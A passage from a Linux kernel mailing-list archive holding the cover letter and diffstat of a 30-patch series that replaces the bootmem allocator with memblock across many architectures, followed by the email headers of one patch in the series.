 Fri, 14 Sep 2018 15:10:46 +0300
X-Mailer: git-send-email 2.7.4
X-TM-AS-GCONF: 00
x-cbid: 18091412-0020-0000-0000-000002C64BCF
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0021-0000-0000-00002113ADC3
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1011 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051123_090940_9FD625B6 
X-CRM114-Status: GOOD (  21.74  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4344 gmane.linux.kernel.mm:203317 gmane.linux.ports.mips.general:66619 gmane.linux.ports.ia64:29214 gmane.linux.ports.sh.devel:57490 gmane.linux.ports.sparc:28402 gmane.linux.ports.hexagon:1831 gmane.linux.ports.riscv:781 gmane.linux.ports.alpha:5220 gmane.linux.ports.arm.kernel:674189 gmane.linux.ports.parisc:28942 gmane.linux.kernel:2870760 gmane.linux.ports.ppc64.devel:162477
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4344>

Hi,

These patches switch early memory management to use memblock directly
without any bootmem compatibility wrappers. As the result both bootmem and
nobootmem are removed.

The patchset survived allyesconfig builds on arm, arm64, i386, mips, nds32,
parisc, powerpc, riscv, s390 and x86 and most of the *_defconfig builds for
all architectures except unicore32.

The patchset is based on v4.19-rc3-mmotm-2018-09-12-16-40, so I needed a
small PSI fix from [1] for some of the builds.

I did my best to verify that the failures are not caused by my changes, but
I may have missed something. Most defconfig build failures I've seen were
caused by assembler being unhappy about unsupported opcode, wrong encoding
or something else. Some builds for allyesconfig also failed because of it
and others failed because of symbol mismatch in spi-sprd or n_hdlc.

I've done boot testing on real x86-64 and Power8 machines and on
qemu-system-alpha and qemu-system-mips64el VMs.

I've tried to keep the distribution list as small as possible, but it's
still pretty log; my apologies for spamming.

Changes since RFC:
* updated MIPS conversion to nobootmem: 
  - set memblock limit to max_low_pfn to avoid allocation attempts from
    high memory
  - use boottom-up mode for allocation of the exceptions base
* added elaborate changelogs
* updated boot-time-mm documentation

[1] https://lkml.org/lkml/2018/9/13/88

Mike Rapoport (30):
  mips: switch to NO_BOOTMEM
  mm: remove CONFIG_NO_BOOTMEM
  mm: remove CONFIG_HAVE_MEMBLOCK
  mm: remove bootmem allocator implementation.
  mm: nobootmem: remove dead code
  memblock: rename memblock_alloc{_nid,_try_nid} to memblock_phys_alloc*
  memblock: remove _virt from APIs returning virtual address
  memblock: replace alloc_bootmem_align with memblock_alloc
  memblock: replace alloc_bootmem_low with memblock_alloc_low
  memblock: replace __alloc_bootmem_node_nopanic with
    memblock_alloc_try_nid_nopanic
  memblock: replace alloc_bootmem_pages_nopanic with
    memblock_alloc_nopanic
  memblock: replace alloc_bootmem_low with memblock_alloc_low
  memblock: replace __alloc_bootmem_nopanic with
    memblock_alloc_from_nopanic
  memblock: add align parameter to memblock_alloc_node()
  memblock: replace alloc_bootmem_pages_node with memblock_alloc_node
  memblock: replace __alloc_bootmem_node with appropriate memblock_ API
  memblock: replace alloc_bootmem_node with memblock_alloc_node
  memblock: replace alloc_bootmem_low_pages with memblock_alloc_low
  memblock: replace alloc_bootmem_pages with memblock_alloc
  memblock: replace __alloc_bootmem with memblock_alloc_from
  memblock: replace alloc_bootmem with memblock_alloc
  mm: nobootmem: remove bootmem allocation APIs
  memblock: replace free_bootmem{_node} with memblock_free
  memblock: replace free_bootmem_late with memblock_free_late
  memblock: rename free_all_bootmem to memblock_free_all
  memblock: rename __free_pages_bootmem to memblock_free_pages
  mm: remove nobootmem
  memblock: replace BOOTMEM_ALLOC_* with MEMBLOCK variants
  mm: remove include/linux/bootmem.h
  docs/boot-time-mm: remove bootmem documentation

 Documentation/core-api/boot-time-mm.rst     |  71 +--
 arch/alpha/Kconfig                          |   2 -
 arch/alpha/kernel/core_cia.c                |   4 +-
 arch/alpha/kernel/core_irongate.c           |   4 +-
 arch/alpha/kernel/core_marvel.c             |   6 +-
 arch/alpha/kernel/core_titan.c              |   2 +-
 arch/alpha/kernel/core_tsunami.c            |   2 +-
 arch/alpha/kernel/pci-noop.c                |   6 +-
 arch/alpha/kernel/pci.c                     |   6 +-
 arch/alpha/kernel/pci_iommu.c               |  14 +-
 arch/alpha/kernel/setup.c                   |   3 +-
 arch/alpha/kernel/sys_nautilus.c            |   2 +-
 arch/alpha/mm/init.c                        |   4 +-
 arch/alpha/mm/numa.c                        |   1 -
 arch/arc/Kconfig                            |   2 -
 arch/arc/kernel/unwind.c                    |   6 +-
 arch/arc/mm/highmem.c                       |   4 +-
 arch/arc/mm/init.c                          |   3 +-
 arch/arm/Kconfig                            |   2 -
 arch/arm/kernel/devtree.c                   |   1 -
 arch/arm/kernel/setup.c                     |   5 +-
 arch/arm/mach-omap2/omap_hwmod.c            |   8 +-
 arch/arm/mm/dma-mapping.c                   |   1 -
 arch/arm/mm/init.c                          |   3 +-
 arch/arm/mm/mmu.c                           |   2 +-
 arch/arm/xen/mm.c                           |   1 -
 arch/arm/xen/p2m.c                          |   2 +-
 arch/arm64/Kconfig                          |   2 -
 arch/arm64/kernel/acpi.c                    |   1 -
 arch/arm64/kernel/acpi_numa.c               |   1 -
 arch/arm64/kernel/setup.c                   |   3 +-
 arch/arm64/mm/dma-mapping.c                 |   2 +-
 arch/arm64/mm/init.c                        |   5 +-
 arch/arm64/mm/kasan_init.c                  |   3 +-
 arch/arm64/mm/mmu.c                         |   2 +-
 arch/arm64/mm/numa.c                        |   5 +-
 arch/c6x/Kconfig                            |   2 -
 arch/c6x/kernel/setup.c                     |   1 -
 arch/c6x/mm/dma-coherent.c                  |   4 +-
 arch/c6x/mm/init.c                          |   7 +-
 arch/h8300/Kconfig                          |   2 -
 arch/h8300/kernel/setup.c                   |   1 -
 arch/h8300/mm/init.c                        |   6 +-
 arch/hexagon/Kconfig                        |   2 -
 arch/hexagon/kernel/dma.c                   |   2 +-
 arch/hexagon/kernel/setup.c                 |   2 +-
 arch/hexagon/mm/init.c                      |   3 +-
 arch/ia64/Kconfig                           |   2 -
 arch/ia64/kernel/crash.c                    |   2 +-
 arch/ia64/kernel/efi.c                      |   2 +-
 arch/ia64/kernel/ia64_ksyms.c               |   2 +-
 arch/ia64/kernel/iosapic.c                  |   2 +-
 arch/ia64/kernel/mca.c                      |  10 +-
 arch/ia64/kernel/mca_drv.c                  |   2 +-
 arch/ia64/kernel/setup.c                    |   1 -
 arch/ia64/kernel/smpboot.c                  |   2 +-
 arch/ia64/kernel/topology.c                 |   2 +-
 arch/ia64/kernel/unwind.c                   |   2 +-
 arch/ia64/mm/contig.c                       |   6 +-
 arch/ia64/mm/discontig.c                    |   7 +-
 arch/ia64/mm/init.c                         |  11 +-
 arch/ia64/mm/numa.c                         |   2 +-
 arch/ia64/mm/tlb.c                          |   6 +-
 arch/ia64/pci/pci.c                         |   2 +-
 arch/ia64/sn/kernel/bte.c                   |   2 +-
 arch/ia64/sn/kernel/io_common.c             |   9 +-
 arch/ia64/sn/kernel/setup.c                 |   6 +-
 arch/m68k/Kconfig                           |   2 -
 arch/m68k/atari/stram.c                     |   5 +-
 arch/m68k/coldfire/m54xx.c                  |   2 +-
 arch/m68k/kernel/setup_mm.c                 |   1 -
 arch/m68k/kernel/setup_no.c                 |   1 -
 arch/m68k/kernel/uboot.c                    |   2 +-
 arch/m68k/mm/init.c                         |   6 +-
 arch/m68k/mm/mcfmmu.c                       |   5 +-
 arch/m68k/mm/motorola.c                     |   8 +-
 arch/m68k/mm/sun3mmu.c                      |   6 +-
 arch/m68k/sun3/config.c                     |   2 +-
 arch/m68k/sun3/dvma.c                       |   2 +-
 arch/m68k/sun3/mmu_emu.c                    |   2 +-
 arch/m68k/sun3/sun3dvma.c                   |   5 +-
 arch/m68k/sun3x/dvma.c                      |   2 +-
 arch/microblaze/Kconfig                     |   2 -
 arch/microblaze/mm/consistent.c             |   2 +-
 arch/microblaze/mm/init.c                   |   7 +-
 arch/microblaze/pci/pci-common.c            |   2 +-
 arch/mips/Kconfig                           |   1 -
 arch/mips/ar7/memory.c                      |   2 +-
 arch/mips/ath79/setup.c                     |   2 +-
 arch/mips/bcm63xx/prom.c                    |   2 +-
 arch/mips/bcm63xx/setup.c                   |   2 +-
 arch/mips/bmips/setup.c                     |   2 +-
 arch/mips/cavium-octeon/dma-octeon.c        |   4 +-
 arch/mips/dec/prom/memory.c                 |   2 +-
 arch/mips/emma/common/prom.c                |   2 +-
 arch/mips/fw/arc/memory.c                   |   2 +-
 arch/mips/jazz/jazzdma.c                    |   2 +-
 arch/mips/kernel/crash.c                    |   2 +-
 arch/mips/kernel/crash_dump.c               |   2 +-
 arch/mips/kernel/prom.c                     |   2 +-
 arch/mips/kernel/setup.c                    | 104 +---
 arch/mips/kernel/traps.c                    |   6 +-
 arch/mips/kernel/vpe.c                      |   2 +-
 arch/mips/kvm/commpage.c                    |   2 +-
 arch/mips/kvm/dyntrans.c                    |   2 +-
 arch/mips/kvm/emulate.c                     |   2 +-
 arch/mips/kvm/interrupt.c                   |   2 +-
 arch/mips/kvm/mips.c                        |   2 +-
 arch/mips/lantiq/prom.c                     |   2 +-
 arch/mips/lasat/prom.c                      |   2 +-
 arch/mips/loongson64/common/init.c          |   2 +-
 arch/mips/loongson64/loongson-3/numa.c      |  37 +-
 arch/mips/mm/init.c                         |   7 +-
 arch/mips/mm/pgtable-32.c                   |   2 +-
 arch/mips/mti-malta/malta-memory.c          |   2 +-
 arch/mips/netlogic/xlp/dt.c                 |   2 +-
 arch/mips/pci/pci-legacy.c                  |   2 +-
 arch/mips/pci/pci.c                         |   2 +-
 arch/mips/ralink/of.c                       |   2 +-
 arch/mips/rb532/prom.c                      |   2 +-
 arch/mips/sgi-ip27/ip27-memory.c            |  14 +-
 arch/mips/sibyte/common/cfe.c               |   2 +-
 arch/mips/sibyte/swarm/setup.c              |   2 +-
 arch/mips/txx9/rbtx4938/prom.c              |   2 +-
 arch/nds32/Kconfig                          |   2 -
 arch/nds32/kernel/setup.c                   |   3 +-
 arch/nds32/mm/highmem.c                     |   2 +-
 arch/nds32/mm/init.c                        |  13 +-
 arch/nios2/Kconfig                          |   2 -
 arch/nios2/kernel/prom.c                    |   2 +-
 arch/nios2/kernel/setup.c                   |   1 -
 arch/nios2/mm/init.c                        |   4 +-
 arch/openrisc/Kconfig                       |   2 -
 arch/openrisc/kernel/setup.c                |   3 +-
 arch/openrisc/mm/init.c                     |   7 +-
 arch/openrisc/mm/ioremap.c                  |   2 +-
 arch/parisc/Kconfig                         |   2 -
 arch/parisc/mm/init.c                       |   3 +-
 arch/powerpc/Kconfig                        |   2 -
 arch/powerpc/kernel/dt_cpu_ftrs.c           |   4 +-
 arch/powerpc/kernel/paca.c                  |   2 +-
 arch/powerpc/kernel/pci_32.c                |   4 +-
 arch/powerpc/kernel/prom.c                  |   2 +-
 arch/powerpc/kernel/setup-common.c          |   3 +-
 arch/powerpc/kernel/setup_32.c              |  10 +-
 arch/powerpc/kernel/setup_64.c              |  11 +-
 arch/powerpc/lib/alloc.c                    |   4 +-
 arch/powerpc/mm/hugetlbpage.c               |   1 -
 arch/powerpc/mm/mem.c                       |   5 +-
 arch/powerpc/mm/mmu_context_nohash.c        |   8 +-
 arch/powerpc/mm/numa.c                      |   5 +-
 arch/powerpc/mm/pgtable_32.c                |   2 +-
 arch/powerpc/mm/ppc_mmu_32.c                |   2 +-
 arch/powerpc/platforms/pasemi/iommu.c       |   2 +-
 arch/powerpc/platforms/powermac/nvram.c     |   4 +-
 arch/powerpc/platforms/powernv/opal.c       |   2 +-
 arch/powerpc/platforms/powernv/pci-ioda.c   |   9 +-
 arch/powerpc/platforms/ps3/setup.c          |   4 +-
 arch/powerpc/sysdev/dart_iommu.c            |   2 +-
 arch/powerpc/sysdev/msi_bitmap.c            |   4 +-
 arch/riscv/Kconfig                          |   2 -
 arch/riscv/mm/init.c                        |   5 +-
 arch/s390/Kconfig                           |   2 -
 arch/s390/kernel/crash_dump.c               |   5 +-
 arch/s390/kernel/setup.c                    |  16 +-
 arch/s390/kernel/smp.c                      |   5 +-
 arch/s390/kernel/topology.c                 |   6 +-
 arch/s390/kernel/vdso.c                     |   2 +-
 arch/s390/mm/extmem.c                       |   2 +-
 arch/s390/mm/init.c                         |   5 +-
 arch/s390/mm/vmem.c                         |   7 +-
 arch/s390/numa/mode_emu.c                   |   3 +-
 arch/s390/numa/numa.c                       |   3 +-
 arch/s390/numa/toptree.c                    |   4 +-
 arch/sh/Kconfig                             |   2 -
 arch/sh/mm/init.c                           |   9 +-
 arch/sh/mm/ioremap_fixed.c                  |   2 +-
 arch/sparc/Kconfig                          |   2 -
 arch/sparc/kernel/mdesc.c                   |   7 +-
 arch/sparc/kernel/prom_32.c                 |   4 +-
 arch/sparc/kernel/prom_64.c                 |   2 +-
 arch/sparc/kernel/setup_64.c                |  12 +-
 arch/sparc/kernel/smp_64.c                  |  18 +-
 arch/sparc/mm/init_32.c                     |   5 +-
 arch/sparc/mm/init_64.c                     |  27 +-
 arch/sparc/mm/srmmu.c                       |  12 +-
 arch/um/Kconfig                             |   2 -
 arch/um/drivers/net_kern.c                  |   4 +-
 arch/um/drivers/vector_kern.c               |   4 +-
 arch/um/kernel/initrd.c                     |   4 +-
 arch/um/kernel/mem.c                        |  16 +-
 arch/um/kernel/physmem.c                    |   1 -
 arch/unicore32/Kconfig                      |   2 -
 arch/unicore32/kernel/hibernate.c           |   2 +-
 arch/unicore32/kernel/setup.c               |   5 +-
 arch/unicore32/mm/init.c                    |   7 +-
 arch/unicore32/mm/mmu.c                     |   3 +-
 arch/x86/Kconfig                            |   4 -
 arch/x86/kernel/acpi/boot.c                 |   5 +-
 arch/x86/kernel/acpi/sleep.c                |   1 -
 arch/x86/kernel/apic/apic.c                 |   2 +-
 arch/x86/kernel/apic/io_apic.c              |   7 +-
 arch/x86/kernel/cpu/common.c                |   2 +-
 arch/x86/kernel/e820.c                      |   5 +-
 arch/x86/kernel/mpparse.c                   |   1 -
 arch/x86/kernel/pci-dma.c                   |   2 +-
 arch/x86/kernel/pci-swiotlb.c               |   2 +-
 arch/x86/kernel/pvclock.c                   |   2 +-
 arch/x86/kernel/setup.c                     |   1 -
 arch/x86/kernel/setup_percpu.c              |  14 +-
 arch/x86/kernel/smpboot.c                   |   2 +-
 arch/x86/kernel/tce_64.c                    |   6 +-
 arch/x86/mm/amdtopology.c                   |   1 -
 arch/x86/mm/fault.c                         |   2 +-
 arch/x86/mm/highmem_32.c                    |   4 +-
 arch/x86/mm/init.c                          |   1 -
 arch/x86/mm/init_32.c                       |   5 +-
 arch/x86/mm/init_64.c                       |   7 +-
 arch/x86/mm/ioremap.c                       |   2 +-
 arch/x86/mm/kasan_init_64.c                 |  11 +-
 arch/x86/mm/numa.c                          |   3 +-
 arch/x86/mm/numa_32.c                       |   1 -
 arch/x86/mm/numa_64.c                       |   2 +-
 arch/x86/mm/numa_emulation.c                |   1 -
 arch/x86/mm/pageattr-test.c                 |   2 +-
 arch/x86/mm/pageattr.c                      |   2 +-
 arch/x86/mm/pat.c                           |   2 +-
 arch/x86/mm/physaddr.c                      |   2 +-
 arch/x86/pci/i386.c                         |   2 +-
 arch/x86/platform/efi/efi.c                 |   3 +-
 arch/x86/platform/efi/efi_64.c              |   2 +-
 arch/x86/platform/efi/quirks.c              |   7 +-
 arch/x86/platform/olpc/olpc_dt.c            |   4 +-
 arch/x86/power/hibernate_32.c               |   2 +-
 arch/x86/xen/enlighten.c                    |   2 +-
 arch/x86/xen/enlighten_pv.c                 |   3 +-
 arch/x86/xen/mmu_pv.c                       |   2 +-
 arch/x86/xen/p2m.c                          |   6 +-
 arch/xtensa/Kconfig                         |   2 -
 arch/xtensa/kernel/pci.c                    |   2 +-
 arch/xtensa/mm/cache.c                      |   2 +-
 arch/xtensa/mm/init.c                       |   4 +-
 arch/xtensa/mm/kasan_init.c                 |   5 +-
 arch/xtensa/mm/mmu.c                        |   4 +-
 arch/xtensa/platforms/iss/network.c         |   4 +-
 arch/xtensa/platforms/iss/setup.c           |   2 +-
 block/blk-settings.c                        |   2 +-
 block/bounce.c                              |   2 +-
 drivers/acpi/numa.c                         |   1 -
 drivers/acpi/tables.c                       |   3 +-
 drivers/base/platform.c                     |   2 +-
 drivers/clk/ti/clk.c                        |   4 +-
 drivers/firmware/dmi_scan.c                 |   2 +-
 drivers/firmware/efi/apple-properties.c     |   4 +-
 drivers/firmware/efi/memmap.c               |   2 +-
 drivers/firmware/iscsi_ibft_find.c          |   2 +-
 drivers/firmware/memmap.c                   |   4 +-
 drivers/iommu/mtk_iommu.c                   |   2 +-
 drivers/iommu/mtk_iommu_v1.c                |   2 +-
 drivers/macintosh/smu.c                     |   7 +-
 drivers/mtd/ar7part.c                       |   2 +-
 drivers/net/arcnet/arc-rimi.c               |   2 +-
 drivers/net/arcnet/com20020-isa.c           |   2 +-
 drivers/net/arcnet/com90io.c                |   2 +-
 drivers/of/fdt.c                            |   5 +-
 drivers/of/of_reserved_mem.c                |  13 +-
 drivers/of/unittest.c                       |   4 +-
 drivers/s390/char/fs3270.c                  |   2 +-
 drivers/s390/char/tty3270.c                 |   2 +-
 drivers/s390/cio/cmf.c                      |   2 +-
 drivers/s390/virtio/virtio_ccw.c            |   2 +-
 drivers/sfi/sfi_core.c                      |   2 +-
 drivers/staging/android/ion/Kconfig         |   2 +-
 drivers/tty/serial/cpm_uart/cpm_uart_core.c |   2 +-
 drivers/tty/serial/cpm_uart/cpm_uart_cpm1.c |   2 +-
 drivers/tty/serial/cpm_uart/cpm_uart_cpm2.c |   2 +-
 drivers/usb/early/xhci-dbc.c                |  14 +-
 drivers/xen/balloon.c                       |   2 +-
 drivers/xen/events/events_base.c            |   2 +-
 drivers/xen/grant-table.c                   |   2 +-
 drivers/xen/swiotlb-xen.c                   |   8 +-
 drivers/xen/xen-selfballoon.c               |   2 +-
 fs/dcache.c                                 |   2 +-
 fs/inode.c                                  |   2 +-
 fs/namespace.c                              |   2 +-
 fs/proc/kcore.c                             |   2 +-
 fs/proc/page.c                              |   2 +-
 fs/proc/vmcore.c                            |   2 +-
 fs/pstore/Kconfig                           |   1 -
 include/linux/bootmem.h                     | 404 --------------
 include/linux/memblock.h                    | 159 +++++-
 include/linux/mm.h                          |   2 +-
 include/linux/mmzone.h                      |   5 +-
 init/main.c                                 |  12 +-
 kernel/dma/swiotlb.c                        |  10 +-
 kernel/futex.c                              |   2 +-
 kernel/locking/qspinlock_paravirt.h         |   2 +-
 kernel/pid.c                                |   2 +-
 kernel/power/snapshot.c                     |   4 +-
 kernel/printk/printk.c                      |   5 +-
 kernel/profile.c                            |   2 +-
 lib/Kconfig.debug                           |   3 +-
 lib/cpumask.c                               |   4 +-
 mm/Kconfig                                  |   8 +-
 mm/Makefile                                 |   8 +-
 mm/bootmem.c                                | 811 ----------------------------
 mm/hugetlb.c                                |   6 +-
 mm/internal.h                               |   2 +-
 mm/kasan/kasan_init.c                       |   7 +-
 mm/kmemleak.c                               |   2 +-
 mm/memblock.c                               | 153 +++++-
 mm/memory_hotplug.c                         |   1 -
 mm/nobootmem.c                              | 445 ---------------
 mm/page_alloc.c                             |  17 +-
 mm/page_ext.c                               |   6 +-
 mm/page_idle.c                              |   2 +-
 mm/page_owner.c                             |   2 +-
 mm/page_poison.c                            |   2 +-
 mm/percpu.c                                 |  30 +-
 mm/sparse-vmemmap.c                         |   6 +-
 mm/sparse.c                                 |  18 +-
 net/ipv4/inet_hashtables.c                  |   2 +-
 net/ipv4/tcp.c                              |   2 +-
 net/ipv4/udp.c                              |   2 +-
 net/sctp/protocol.c                         |   2 +-
 net/xfrm/xfrm_hash.c                        |   2 +-
 326 files changed, 866 insertions(+), 2539 deletions(-)
 delete mode 100644 include/linux/bootmem.h
 delete mode 100644 mm/bootmem.c
 delete mode 100644 mm/nobootmem.c

-- 
2.7.4

From - Thu Nov 08 21:41:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 08/30] memblock: replace alloc_bootmem_align with
 memblock_alloc
Date: Fri, 14 Sep 2018 15:10:23 +0300
Lines: 24
Approved: news@gmane.org
Message-ID: <1536927045-23536-9-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927019 25711 195.159.176.226 (14 Sep 2018 12:10:19 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:10:19 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:10:11 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mvK-0006Uc-AJ
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:10:10 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=vcs1TNAnNsN46AhSYXwqmzAhnBNiCi1ZwvlTWxmMJ54=; b=H1zlcLLAyKcqOPG2qnUY6gMBWE
	WlR9j/NzAtwWhuH0Hu1KPSRAgXg+GHMqq30+3Gf7tUODxln/mYSBk31WjvKJwIFY/4js0Ju2jOxuR
	7ohSwTBfOYszbs/5LoHZupsf+F9Y0EkWP/FQMq/R1aZaRJP7bSebEExqHNoaDyCg8RKrdXZNUpzV5
	AlM6LVIHpYQ6M0x9lfH3qVf5z52ScoGEa91EEspgNyMLJdsvTO0T8fnwUY0q3p6AwBbq4C03rk6l+
	Q4pNFwaXyApf8JgLleqm/4KICQjsT6l0cNysYYc2RRwqy2fqDzWy0+p1wIpf4lSgd9/4a2eazuRnq
	gBHmdvdQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mxP-00041Z-2n; Fri, 14 Sep 2018 12:12:19 +0000
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mx4-0003vr-FI
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:12:17 +0000
Original-Received: from pps.filterd (m0098396.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC5PW7006249
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:11:57 -0400
Original-Received: from e06smtp04.uk.ibm.com (e06smtp04.uk.ibm.com [195.75.94.100])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgb9y3tbe-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:11:57 -0400
Original-Received: from localhost
 by e06smtp04.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:11:54 +0100
Original-Received: from b06cxnps3074.portsmouth.uk.ibm.com (9.149.109.194)
 by e06smtp04.uk.ibm.com (192.168.101.134) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:11:42 +0100
Original-Received: from d06av25.portsmouth.uk.ibm.com (d06av25.portsmouth.uk.ibm.com
 [9.149.105.61])
 by b06cxnps3074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECBfad63438946
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:11:41 GMT
Original-Received: from d06av25.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 3832911C05E;
 Fri, 14 Sep 2018 15:11:29 +0100 (BST)
Original-Received: from d06av25.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id E878311C04A;
 Fri, 14 Sep 2018 15:11:23 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av25.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:11:23 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:11:35 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0016-0000-0000-000002056045
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0017-0000-0000-0000325C3648
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=455 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
